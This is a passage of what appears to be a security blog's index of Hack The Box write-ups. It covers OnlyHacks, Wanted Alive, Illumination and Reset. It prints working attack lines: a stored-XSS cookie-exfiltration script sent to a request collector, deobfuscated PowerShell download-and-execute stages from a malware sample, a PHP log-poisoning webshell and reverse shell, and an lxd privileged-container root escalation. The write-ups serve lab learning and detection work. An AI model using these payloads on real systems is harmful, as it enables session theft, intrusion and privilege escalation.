","permalink":"https://p4n4s.com/posts/htb/challenge/armaxis/","summary":"Armaxis chains an IDOR in the password-reset flow to seize the admin account, then abuses a markdown image parser that shells out to an unquoted curl for OS command injection — a single injected cat reads the flag, where the author\u0026rsquo;s intended route uses curl\u0026rsquo;s file:// LFI.","title":"HTB: Challenge - Armaxis"},{"content":"Challenge Info Spoiler OnlyHacks drops you into a Tinder-style dating app where one match never stops replying and never stops trying to sell you handmade jewelry — classic bait-account behavior. Her chat renders raw HTML, which is enough to steal her session cookie and read her DMs.\nIn the contrary the official HTB path and description of the challenge goes as follows:\nDating and matching can be exciting especially during Valentine\u0026rsquo;s, but it\u0026rsquo;s important to stay vigilant for impostors. Can you help identify possible frauds?\nNo files, no download — a live web target only. Sign up, swipe, match, and start digging.\nAnalysis Recon — signing up and swiping The landing page is a login screen for OnlyHacks, a dating app (\u0026ldquo;Where Love is the Ultimate Life Hack\u0026rdquo;). No account to start with, so registration is the first step — username, password, email, age, bio, gender/preference, profile picture.\nOnce logged in, it\u0026rsquo;s a standard swipe deck: a stack of profile cards, reject left / like right. Every bio reads like a normal (if AI-generated) dating profile — except one: Renata, 21, whose bio specifically brags \u0026ldquo;A little mystery, a lot of fun — let\u0026rsquo;s see if you can keep up. Always online!\u0026rdquo;. Let\u0026rsquo;s swipe right to all and see what happens LOL.\nThe match — a chatty, pushy DM bot Renata matches back instantly and opens the conversation herself. A couple of messages in, she pivots hard into trying to sell \u0026ldquo;handmade jewelry and accessories\u0026rdquo; and stuff. Maybe we need to play with that chat and try to find a vulnerability here so we start probing.\nSending a plain \u0026lt;h1\u0026gt;Hello there\u0026lt;/h1\u0026gt; in the message box comes back rendered as an actual \u0026lt;h1\u0026gt; in the thread — the chat isn\u0026rsquo;t escaping HTML on output. That\u0026rsquo;s a stored XSS sink sitting in a feature that\u0026rsquo;s guaranteed to be read by another real (albeit bot-driven) user\u0026rsquo;s browser.\nExploitation — stored XSS → cookie exfiltration Since the target runs over the public internet rather than locally, catching the exfiltrated request needs a public collector — a RequestBin endpoint works as a throwaway webhook. The payload sent into the chat:\n1 \u0026lt;script\u0026gt;document.location=\u0026#39;http://requestbin.whapi.cloud/[RUID-HERE]?c=\u0026#39;+document.cookie\u0026lt;/script\u0026gt; This isn\u0026rsquo;t a reflected payload read back only by the attacker\u0026rsquo;s own browser — it\u0026rsquo;s a stored XSS in a DM. Renata\u0026rsquo;s side of the chat (bot-driven, but still a separate authenticated session) renders the message too, and when it does, her browser fires the redirect carrying her document.cookie to the bin.\nChecking the bin afterward shows two hits: one from the attacker\u0026rsquo;s own browser (so basically ours) re-rendering the payload (same session, not useful), and a second from a different, unfamiliar session value — Renata\u0026rsquo;s.\nGET /19bdo3d1?c=session=eyJ1c2VyIjp7ImlkIjoxLCJuYW1lIjoiUmVuYXRhIiwiZW1haWwiOiJ... Session hijack — swapping the cookie With Renata\u0026rsquo;s session cookie value in hand, it\u0026rsquo;s a straight swap: open devtools on the OnlyHacks tab, overwrite the local session cookie with hers, and refresh.\nThe app re-renders as Renata — her matches, her inbox. Dimitris\u0026rsquo;s thread (the only other match in her DMs) holds the flag, sent as a plain message.\nSpoiler HTB{d0nt_trust_str4ng3r5_bl1ndly} — recovered directly from Renata\u0026rsquo;s DM history after the session hijack. Full chain OnlyHacks (dating app) └─ register + swipe → match with \u0026#34;Renata\u0026#34; (always-online bait bot) └─ DM chat renders raw HTML (no output encoding) └─ stored XSS: \u0026lt;script\u0026gt;document.location=\u0026#39;\u0026lt;bin\u0026gt;?c=\u0026#39;+document.cookie\u0026lt;/script\u0026gt; └─ Renata\u0026#39;s bot session renders the message → her cookie leaks to the bin └─ swap local `session` cookie for hers └─ logged in as Renata → FLAG in her DMs Tip The vulnerability isn\u0026rsquo;t really \u0026ldquo;XSS\u0026rdquo; in the abstract — it\u0026rsquo;s that a chat feature trusted message content to be safe to render as HTML, and that the other end of the conversation was a logged-in, cookie-bearing identity whose session was worth more than the attacker\u0026rsquo;s own. Any stored-input sink read by another authenticated party is a session-theft primitive, not just a defacement one. ","permalink":"https://p4n4s.com/posts/htb/challenge/only-hacks/","summary":"OnlyHacks is a dating-app web challenge where a suspiciously chatty match renders raw HTML in her DMs — a stored XSS payload steals her session cookie, and swapping it in hands over her inbox and the flag.","title":"HTB: Challenge - OnlyHacks"},{"content":"Challenge Info Spoiler Wanted Alive peels back a phishing .hta attachment through nested JScript, obfuscated VBScript, and two chained PowerShell downloaders to reach a flag served over HTTP.\nIn the contrary the official HTB path and description of the challenge goes as follows:\nWanted Alive is an easy forensics challenge involving the analysis of two layers of obfuscation, including Jscript and VBScript based on real malware.\nArtifacts Provided wanted.hta — the malicious HTA attachment recovered from the bounty report. No remote instance, no interaction — just static analysis down through the obfuscation layers to a flag served over HTTP.\nAnalysis Reconnaissance — the .hta file Dumped the raw file. Immediately obvious: triple-nested document.write(unescape(\u0026quot;...\u0026quot;)), forcing EmulateIE8 compatibility mode, wrapping a VbScript block full of garbage-cased variable names (OCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRL...).\n1 2 \u0026lt;script language=JavaScript\u0026gt;m=\u0026#39;\u0026lt;script language=JavaScript\u0026gt;m=\u0026#39;\u0026lt;script\u0026gt;\u0026lt;!--document.write(unescape(\u0026#34;\u0026lt;script language=JavaScript\u0026gt;m=\u0026#39;\u0026lt;script\u0026gt;\u0026lt;!--document.write(unescape(\u0026#34;\u0026lt;!DOCTYPE html\u0026gt;\u0026lt;meta http-equiv=\u0026#34;X-UA-Compatible\u0026#34; content=\u0026#34;IE=EmulateIE8\u0026#34;\u0026gt;\u0026lt;html\u0026gt;\u0026lt;body\u0026gt; \u0026lt;sCrIPT lANgUAge=\u0026#34;VbScRipT\u0026#34;\u0026gt; ... \u0026lt;/script\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt;\u0026#34;));//--\u0026gt;\u0026lt;/script\u0026gt;\u0026#39;;d=unescape(m);document.write(d);\u0026lt;/script\u0026gt; Peeling the JS layer is nothing more than repeated unescape() — no need for the stdlib urllib.parse.unquote, since JS unescape() also handles %uXXXX sequences that the Python one doesn\u0026rsquo;t:\n1 2 3 4 5 6 import re def js_unescape(s: str) -\u0026gt; str: def repl(m): return chr(int(m.group(1) or m.group(2), 16)) return re.sub(r\u0026#39;%u([0-9A-Fa-f]{4})|%([0-9A-Fa-f]{2})\u0026#39;, repl, s) Stage 1 — VBScript wrapper Under the noise, the VBScript does exactly three things:\n\u0026#39; 1. instantiate WScript.Shell (Chr(\u0026amp;H57) = \u0026#34;W\u0026#34;) Set X = CreateObject(Chr(\u0026amp;H57) \u0026amp; \u0026#34;SCRIPT.shELL\u0026#34;) \u0026#39; 2. resolve powershell.exe path via ExpandEnvironmentStrings + Chr()/ChrW() codes X.ExpandEnvironmentStrings(Chr(\u0026amp;H25) \u0026amp; ChrW(\u0026amp;H53) \u0026amp; ... \u0026amp; Chr(\u0026amp;H25)) \u0026amp; \u0026#34;\\SYStEM32\\WINdOwSpoweRSheLL\\V1.0\\PoWERshElL.ExE\u0026#34; \u0026#39; 3. run it with a runtime-built -Command string to dodge static \u0026#34;FromBase64String\u0026#34; signatures iex($(iEX(\u0026#39;[SYsTeM.TeXt.EnCoding]\u0026#39;+[chAr]0X3A+[CHAr]0X3A+\u0026#39;uTf8.geTSTring([SYstem.ConVERT]\u0026#39;+[chAR]58+[CHAR]58+\u0026#39;fRoMBASE64string(\u0026#39;+[CHar]0X22+\u0026#34;\u0026lt;BASE64\u0026gt;\u0026#34;+[cHar]0X22+\u0026#39;))\u0026#39;))) Chr(nn) / ChrW(\u0026amp;Hxx) resolves with one regex + a re.sub callback:\n1 2 3 4 5 def vbs_chr_decode(s: str) -\u0026gt; str: def repl(m): val = m.group(1) return chr(int(val[2:], 16)) if val.lower().startswith(\u0026#39;\u0026amp;h\u0026#39;) else chr(int(val)) return re.sub(r\u0026#39;Chr[W]?\\((\u0026amp;[Hh][0-9A-Fa-f]+|\\d+)\\)\u0026#39;, repl, s) Stage 2 — first PowerShell / base64 Extracted the base64 blob and decoded it. The .NET-side call is [System.Text.Encoding]::UTF8.getString(...) — UTF-8, not the default -EncodedCommand UTF-16LE — so decode accordingly or you get garbage:\n1 2 3 4 import base64 b64 = \u0026#34;\u0026lt;extracted blob\u0026gt;\u0026#34; print(base64.b64decode(b64).decode(\u0026#39;utf-8\u0026#39;)) 1 2 3 4 5 6 7 $ea6c8mrT = Add-Type -MemberDefinition \u0026#39;[DllImport(\u0026#34;urlmon.dll\u0026#34;, CharSet = CharSet.Unicode)] public static extern IntPtr URLDownloadToFile(IntPtr PG,string Cfmr,string aUvyVBRD,uint ffYlDol,IntPtr oFXrIh);\u0026#39; ` -Name \u0026#34;SuxtPIBJxl\u0026#34; -Namespace nIYp -PassThru $ea6c8mrT::URLDownloadToFile(0, \u0026#34;http://wanted.alive.htb/35/wanted.tIF\u0026#34;, \u0026#34;$env:APPDATA\\wanted.vbs\u0026#34;, 0, 0) Start-Sleep(3) start \u0026#34;$env:APPDATA\\wanted.vbs\u0026#34; P/Invoke into urlmon.dll!URLDownloadToFile instead of Invoke-WebRequest/Net.WebClient — sidesteps AMSI/logging hooks that specifically watch the latter two. Drops the next stage to %APPDATA%\\wanted.vbs (despite the .tIF extension on the wire — extension mismatch is itself a signal worth flagging).\nStage 3 — wanted.tIF, a trojanized winrm.vbs Pulled http://wanted.alive.htb/35/wanted.tIF directly. Turns out to be a modified copy of Microsoft\u0026rsquo;s real winrm.vbs — functions like CreateSession, GetElementByXpath, ReFormat are genuine WSMan internals, kept intact as camouflage. The malicious block is bolted on at the top, gated by:\nIf Not mesor() Then \u0026#39; true when NOT running under cscript.exe Payload is built via arran = arran \u0026amp; \u0026quot;...\u0026quot; concatenation, where every real character is interleaved with a literal junk token — d2FudGVkCg, which is itself base64(\u0026quot;wanted\u0026quot;), a signature nod to the box/domain name:\nFunction descortinar(ByVal descair, ByVal brita, ByVal chincharel) \u0026#39; hand-rolled str.replace() — VBScript has no native equivalent Dim sulfossal sulfossal = InStr(descair, brita) Do While sulfossal \u0026gt; 0 descair = Left(descair, sulfossal - 1) \u0026amp; chincharel \u0026amp; Mid(descair, sulfossal + Len(brita)) sulfossal = InStr(sulfossal + Len(chincharel), descair, brita) Loop descortinar = descair End Function Reassembled and stripped the junk token programmatically instead of by hand:\n1 2 3 4 5 6 7 JUNK = \u0026#34;d2FudGVkCg\u0026#34; arran_parts = re.findall(r\u0026#39;arran = arran \u0026amp; \u0026#34;([^\u0026#34;]*)\u0026#34;\u0026#39;, content) lat_parts = re.findall(r\u0026#39;latifoliado = latifoliado \u0026amp; \u0026#34;([^\u0026#34;]*)\u0026#34;|latifoliado = \u0026#34;([^\u0026#34;]*)\u0026#34;\u0026#39;, content) combined = \u0026#34;\u0026#34;.join(arran_parts) + \u0026#34;\u0026#34;.join(a or b for a, b in lat_parts) clean = combined.replace(JUNK, \u0026#34;\u0026#34;) Stage 4 — second PowerShell / flag retrieval Cleaned output contains a final base64 blob. Decoded:\n1 base64.b64decode(b64).decode() 1 2 3 4 Set-ExecutionPolicy Bypass -Scope Process -Force [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072 iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((new-object system.net.webclient).downloadstring(\u0026#39;http://wanted.alive.htb/cdba/_rp\u0026#39;)))) Disables cert validation, forces TLS 1.2 (-bor 3072), then pulls and iex\u0026rsquo;s whatever http://wanted.alive.htb/cdba/_rp returns.\nFull chain .hta └─ JS unescape() ×3 └─ VBScript (Chr()/ChrW() obfuscation) └─ PowerShell #1 (base64, UTF-8) → URLDownloadToFile └─ wanted.tIF (trojanized winrm.vbs, junk-token stuffed) └─ PowerShell #2 (base64, UTF-8) → iex(webclient.downloadstring(...)) └─ FLAG Tip Every stage here uses a different dodge for the same problem (hiding a base64-decode-and-execute from static/behavioral detection): runtime string concatenation, P/Invoke instead of common cmdlets, junk-token stuffing, TLS enforcement + cert-check bypass. Worth keeping as a reference pattern set for future DaC/detection-engineering work. Visiting that URL directly returns the flag — the final hop of the chain.\n","permalink":"https://p4n4s.com/posts/htb/challenge/wanted-alive/","summary":"Wanted Alive peels back a phishing .hta attachment through nested JScript, obfuscated VBScript, and two chained PowerShell downloaders to reach a flag served over HTTP.","title":"HTB: Challenge - Wanted Alive"},{"content":"Challenge Info Spoiler Illumination hands you a Discord bot\u0026rsquo;s project folder and asks you to recover a secret token that isn\u0026rsquo;t sitting in the current source anymore. Artifacts Provided Illumination.JS/ — a Discord bot\u0026rsquo;s project folder, including a .git directory. No remote instance, no interaction — just a git repository to dig through.\nAnalysis Recon — the bot\u0026rsquo;s source ls -la on the artifact immediately shows a .git folder — this is a git repository, not just a bare source dump, so its history is fair game.\nbot.js is a small Discord bot built on discord.js and the Philips Hue API — it logs in by base64-decoding a token pulled straight from config.json:\n1 2 3 var config = JSON.parse(fs.readFileSync(\u0026#34;./config.json\u0026#34;)); ... client.login(Buffer.from(config.token, \u0026#39;base64\u0026#39;).toString(\u0026#39;ascii\u0026#39;)) //Login with secret token But the current config.json on disk doesn\u0026rsquo;t hold a real token:\n1 2 3 4 5 6 7 { \u0026#34;token\u0026#34;: \u0026#34;Replace me with token when in use! Security Risk!\u0026#34;, \u0026#34;prefix\u0026#34;: \u0026#34;~\u0026#34;, \u0026#34;lightNum\u0026#34;: \u0026#34;1337\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;UmVkIEhlcnJpbmcsIHJlYWQgdGhlIEpTIGNhcmVmdWxseQ==\u0026#34;, \u0026#34;host\u0026#34;: \u0026#34;127.0.0.1\u0026#34; } That placeholder string obviously isn\u0026rsquo;t valid base64 either — so the real token has to be sitting somewhere in the project\u0026rsquo;s history instead.\nSolution — walking the git log 1 git log commit edc5aabf933f6bb161ceca6cf7d0d2160ce333ec (HEAD -\u0026gt; master) Added some whitespace for readability! commit 47241a47f62ada864ec74bd6dedc4d33f4374699 Thanks to contributors, I removed the unique token as it was a security risk. Thanks for reporting responsibly! commit ddc606f8fa05c363ea4de20f31834e97dd527381 Added some more comments for the lovely contributors! Thanks for helping out! commit 335d6cfe3cdc25b89cae81c50ffb957b86bf5a4a Moving to Git, first time using it. First Commit! The commit message on 47241a47f62ada864ec74bd6dedc4d33f4374699 gives it away — that\u0026rsquo;s the one that swapped the real token out for the placeholder. git show on it prints the diff directly:\n1 git show 47241a47f62ada864ec74bd6dedc4d33f4374699 1 2 3 4 5 6 7 8 9 10 11 diff --git a/config.json b/config.json index 316dc21..6735aa6 100644 --- a/config.json +++ b/config.json @@ -1,6 +1,6 @@ { -\t\u0026#34;token\u0026#34;: \u0026#34;SFRCe3YzcnNpMG5fYzBudHIwbF9hbV9JX3JpZ2h0P30=\u0026#34;, +\t\u0026#34;token\u0026#34;: \u0026#34;Replace me with token when in use! Security Risk!\u0026#34;, \u0026#34;prefix\u0026#34;: \u0026#34;~\u0026#34;, \u0026#34;lightNum\u0026#34;: \u0026#34;1337\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;UmVkIEhlcnJpbmcsIHJlYWQgdGhlIEpTIGNhcmVmdWxseQ==\u0026#34;, Same value shows up just as easily by going straight to the repo\u0026rsquo;s root instead — git show 335d6cfe3cdc25b89cae81c50ffb957b86bf5a4a (the very first commit) dumps the original config.json in full, token included, since that\u0026rsquo;s the commit that added the file before anyone thought to strip it.\nEither way, the recovered string is SFRCe3YzcnNpMG5fYzBudHIwbF9hbV9JX3JpZ2h0P30= — base64-decode it and it is the flag:\n1 echo \u0026#34;SFRCe3YzcnNpMG5fYzBudHIwbF9hbV9JX3JpZ2h0P30=\u0026#34; | base64 -d Spoiler HTB{v3rsi0n_c0ntr0l_am_I_right?} Full chain Illumination.JS/ (git repo) └─ bot.js — logs in via base64(config.token) └─ config.json (HEAD) — token replaced with a placeholder string └─ git log — flags the commit that removed it └─ git show \u0026lt;commit\u0026gt; — diff/full-file reveals the original base64 token └─ base64-decode → FLAG Tip git commit/push doesn\u0026rsquo;t unsend anything — deleting a secret from the working tree just adds a new commit on top of it; the blob is still sitting in .git/objects, reachable from any earlier ref. Anyone who clones the repo (or just runs git log/git show against it) can walk straight back to it. The only real fix once a secret lands in history is revocation, not a follow-up commit. ","permalink":"https://p4n4s.com/posts/htb/challenge/illumination/","summary":"Illumination digs through a Discord bot\u0026rsquo;s git history to recover a secret token that got wiped from a later commit — base64-decoding it hands over the flag.","title":"HTB: Challenge - Illumination"},{"content":"Machine Info Spoiler Reset chains a password-reset oracle and SQLi-leaked admin hash into an authenticated dashboard, an LFI that is weaponised through Apache log poisoning for RCE as www-data, a misconfigured /etc/hosts.equiv r-services trust that pivots laterally to two separate users, and finally an lxd group membership that mounts the host filesystem for root.\nIn the contrary the official HTB path and description of the box goes as follows:\nReset is an Easy difficulty Linux machine which showcases abusing a password reset functionality in a web application following a log poisoning attack, to achieve Remote Code Execution. For privilege escalation, Rservices are abused, then a detached tmux session is used to abuse sudo privileges on nano text editor and execute commands as the root user\nUser Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) └─$ nmap -p$ports -sC -sV $VICTIM Running second nmap scan with open ports: 22,80,512,513,514 Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-25 13:11 +0200 Nmap scan report for $VICTIM Host is up (0.0074s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 6a:16:1f:c8:fe:fd:e3:98:a6:85:cf:fe:7b:0e:60:aa (ECDSA) |_ 256 e4:08:cc:5f:8e:56:25:8f:38:c3:ec:df:b8:86:0c:69 (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-server-header: Apache/2.4.52 (Ubuntu) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: Admin Login 512/tcp open exec netkit-rsh rexecd 513/tcp open login? 514/tcp open shell Netkit rshd Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Two things stand out. Port 80 serves an Admin Login, and ports 512/513/514 are the legacy BSD r-services (rexec, rlogin, rsh). Those r-services rarely sit on a box for decoration — keep them in mind for lateral movement later.\nPassword reset oracle The login page ships a reset_password.php endpoint. Submitting a username returns JSON — and the response leaks whether the account exists. A non-existent user returns an error:\n1 2 3 4 5 6 7 8 9 10 11 12 POST /reset_password.php HTTP/1.1 Host: $VICTIM User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 13 Origin: http://$VICTIM Referer: http://$VICTIM/ Cookie: PHPSESSID=gj05rmp29962ptaq121hovkmqq username=root 1 2 3 4 5 HTTP/1.1 200 OK Server: Apache/2.4.52 (Ubuntu) Content-Type: application/json {\u0026#34;error\u0026#34;:\u0026#34;User not found\u0026#34;} That User not found versus a success response is a username enumeration oracle. We fuzz for a valid account, filtering out the 26-byte error body:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ffuf -u http://$VICTIM/reset_password.php -X \u0026#34;POST\u0026#34; -H \u0026#34;Host: $VICTIM\u0026#34; \\ -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \\ -d \u0026#39;username=FUZZ\u0026#39; -fs 26 /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://$VICTIM/reset_password.php :: Wordlist : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt :: Data : username=FUZZ :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 26 ________________________________________________ admin is valid, and submitting it triggers a reset that returns the new password in cleartext:\n1 2 3 4 5 6 7 POST /reset_password.php HTTP/1.1 Host: $VICTIM Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Cookie: PHPSESSID=gj05rmp29962ptaq121hovkmqq username=admin 1 2 3 4 5 HTTP/1.1 200 OK Server: Apache/2.4.52 (Ubuntu) Content-Type: application/json {\u0026#34;username\u0026#34;:\u0026#34;admin\u0026#34;,\u0026#34;new_password\u0026#34;:\u0026#34;a8d14898\u0026#34;,\u0026#34;timestamp\u0026#34;:\u0026#34;2026-06-25 11:47:37\u0026#34;} Tip reset_password.php only rewrites the password_hash column inside the app\u0026rsquo;s SQLite DB — it has no effect on system accounts. The cracked/reset web credential is for the dashboard login only; it does not carry over to su for any Linux user. Worth flagging early to avoid the rabbit hole of trying it against local/sadm later. Admin panel With the reset password we log into the dashboard.\nThe dashboard exposes a file= parameter on dashboard.php that includes files from disk — a classic LFI. Pointing it at /var/log/apache2/access.log returns the log contents, which confirms the include path and sets up log poisoning: Apache writes our User-Agent into the log verbatim, and because the LFI uses include(), any PHP we plant there gets executed.\nLFI → RCE via log poisoning First we poison the log. The payload must use single quotes — Apache escapes double quotes (\u0026quot; → \\\u0026quot;) in the logged field, which breaks PHP parsing with a fatal syntax error, unexpected token \u0026quot;\\\\\u0026quot; and 500s every subsequent inclusion:\n1 2 3 4 5 6 7 GET /dashboard.php HTTP/1.1 Host: $VICTIM Upgrade-Insecure-Requests: 1 User-Agent: \u0026lt;?php system($_GET[\u0026#39;cmd\u0026#39;]); ?\u0026gt; Referer: http://$VICTIM/ Cookie: PHPSESSID=jgbjbmtiqavk9onphojb8i1uct Connection: keep-alive Then we trigger it. The file parameter pulls in the poisoned log, and cmd (in the query string, so the planted $_GET['cmd'] reads it) carries the command:\n1 2 3 4 5 6 7 8 POST /dashboard.php?cmd=id HTTP/1.1 Host: $VICTIM Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 Referer: http://$VICTIM/dashboard.php Cookie: PHPSESSID=jgbjbmtiqavk9onphojb8i1uct file=/var/log/apache2/access.log Tip Two gotchas bit hard here:\nUse single quotes in the payload ($_GET['cmd']). Double quotes get escaped by Apache\u0026rsquo;s log format and poison the whole file with a parse error — one bad line makes PHP refuse to compile the entire log, so every later inclusion 500s. If that happens, reset the box (or pivot to a PHP session file, which doesn\u0026rsquo;t escape quotes). cmd must be in the query string, not the POST body — the planted code reads $_GET['cmd'], while the app\u0026rsquo;s own file param is read from the request body. id executes as www-data. We start a listener:\n1 2 nc -lvnp 8888 listening on [any] 8888 ... And send a backslash-free PHP reverse shell as the cmd value (URL-encoded). A backslash-free payload is important — backslashes get mangled in the log the same way quotes do:\n1 2 # decoded cmd: php -r \u0026#39;$sock=fsockopen(\u0026#34;$ATTACKER\u0026#34;,8888);popen(\u0026#34;/bin/sh \u0026lt;\u0026amp;3 \u0026gt;\u0026amp;3 2\u0026gt;\u0026amp;3\u0026#34;, \u0026#34;r\u0026#34;);\u0026#39; 1 2 3 4 5 6 7 POST /dashboard.php?cmd=php%20-r%20%27%24sock%3Dfsockopen%28%22$ATTACKER%22%2C8888%29%3Bpopen%28%22%2Fbin%2Fsh%20%3C%263%20%3E%263%202%3E%263%22%2C%20%22r%22%29%3B%27 HTTP/1.1 Host: $VICTIM Content-Type: application/x-www-form-urlencoded Referer: http://$VICTIM/dashboard.php Cookie: PHPSESSID=jgbjbmtiqavk9onphojb8i1uct file=/var/log/apache2/access.log Catching the shell and upgrading the TTY:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 nc -lvnp 8888 listening on [any] 8888 ... connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 57076 ls dashboard.php index.php private_34eee5d2 reset_password.php which python3 /usr/bin/python3 python3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; www-data@reset:/var/www/html$ ls dashboard.php index.php private_34eee5d2 reset_password.php Lateral movement — r-services trust (www-data → sadm) As www-data we are in the adm group, which lets us read logs. But the real lever is the r-services trust file. Reading /etc/hosts.equiv:\n1 2 3 4 5 6 www-data@reset:/$ cat /etc/hosts.equiv 2\u0026gt;/dev/null # /etc/hosts.equiv: list of hosts and users that are granted \u0026#34;trusted\u0026#34; r # command access to your system . - root - local + sadm The operative line is + sadm. In hosts.equiv grammar, each line is [host] [user]. When both fields are present, it means \u0026ldquo;the named user, from the wildcard host (+ = anywhere), may log in as any local user (except root), with no password.\u0026rdquo; The - root / - local lines are explicit denies for those source entries and are effectively noise here.\nSo we just need to be sadm on our attacker box, then rlogin in — the trust is keyed on the client-side username:\n1 2 3 4 5 6 7 8 9 10 11 12 13 └─$ sudo useradd sadm └─$ sudo passwd sadm New password: Retype new password: passwd: password updated successfully └─$ su sadm $ rlogin -l sadm $VICTIM Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-140-generic x86_64) ... Last login: Wed Jul 9 13:32:23 UTC 2025 from $ATTACKER on pts/0 sadm@reset:~$ pwd /home/sadm That lands us as sadm, and user.txt is here.\nRoot Lateral movement — same trust, different user (sadm → local) sadm has no sudo, no useful groups, no readable credentials. The dead ends point back at hosts.equiv: the + sadm line does not mean \u0026ldquo;trust sadm to become sadm\u0026rdquo; — the two-field grammar means \u0026ldquo;let sadm impersonate any local user.\u0026rdquo; local is a local user.\nSo from the same sadm client identity on our attacker box, we rlogin targeting local instead:\n1 2 3 4 5 6 $ su sadm $ rlogin -l local $VICTIM Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-140-generic x86_64) ... Last login: Thu Apr 10 09:43:41 UTC 2025 from 10.10.14.65 on pts/0 local@reset:~$ pwd Tip This is the non-obvious beat of the box: the same /etc/hosts.equiv line is reused twice — once for www-data → sadm, and again for sadm → local. The trust check (ruserok()) authorises by the client username and lets the -l target be any other account, so local is reachable even though su local with the web password fails and /home/local/.rhosts is unreadable. Don\u0026rsquo;t waste cycles on the password angle. Checking local\u0026rsquo;s groups reveals the path to root:\n1 2 local@reset:~$ id uid=1000(local) gid=1000(local) groups=1000(local),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd) local is in lxd (gid 110) — effectively root, because the lxd daemon runs as root and executes container operations without dropping to the caller\u0026rsquo;s privileges.\nPrivilege escalation — lxd container escape Tip Deviation from the intended path. Per HTB\u0026rsquo;s official description, the designed root is a detached tmux session left running as root, reattached to abuse a sudo rule on nano (nano → spawn shell as root). The lxd group membership on local is an unintended escalation — it short-circuits the box entirely, since lxd is root-equivalent regardless of the tmux/nano/sudo chain. Both reach root; the tmux + sudo nano route is the author\u0026rsquo;s intended one. The box has no internet egress, so we build a minimal Alpine image on the attacker box and serve it:\n1 2 3 4 5 6 7 8 9 10 11 git clone https://github.com/saghul/lxd-alpine-builder cd lxd-alpine-builder └─$ sudo ./build-alpine Determining the latest release... v3.24 Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.24/main/x86_64 ... OK: 9940 KiB in 27 packages └─$ ls alpine-v3.24-x86_64-20260628_1936.tar.gz build-alpine LICENSE README.md Pull it onto the victim as local, then initialise an LXD storage pool + root-disk profile (LXD 5.0.4 needs both before a container can start), import the image, and create a privileged container with the host filesystem mounted:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 local@reset:/tmp$ wget http://$ATTACKER:8000/alpine-v3.24-x86_64-20260628_1936.tar.gz -O alpine.tar.gz ... 2026-06-28 17:38:59 (20.8 MB/s) - ‘alpine.tar.gz’ saved [4088153/4088153] local@reset:/tmp$ lxc storage create default dir Storage pool default created local@reset:/tmp$ lxc profile device add default root disk path=/ pool=default Device root added to default local@reset:/tmp$ lxc image import ./alpine.tar.gz --alias privesc Image imported with fingerprint: f7984cdb15a2ae7ab9f3d81ef6fc510372c754e6ae8a28a7765aaa4797fa local@reset:/tmp$ lxc image list +---------+--------------+--------+-------------------------------+--------------+-----------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | +---------+--------------+--------+-------------------------------+--------------+-----------+ | privesc | f7984cdb15a2 | no | alpine v3.24 (20260628_19:36) | x86_64 | CONTAINER | +---------+--------------+--------+-------------------------------+--------------+-----------+ local@reset:/tmp$ lxc init privesc r00t -c security.privileged=true Creating r00t local@reset:/tmp$ lxc config device add r00t hostroot disk source=/ path=/mnt/root recursive=true Device hostroot added to r00t local@reset:/tmp$ lxc start r00t local@reset:/tmp$ lxc exec r00t /bin/sh Tip security.privileged=true is the linchpin. Without it, LXD user-namespace-remaps the container so its \u0026ldquo;root\u0026rdquo; is a powerless remapped UID. With it, container UID 0 is 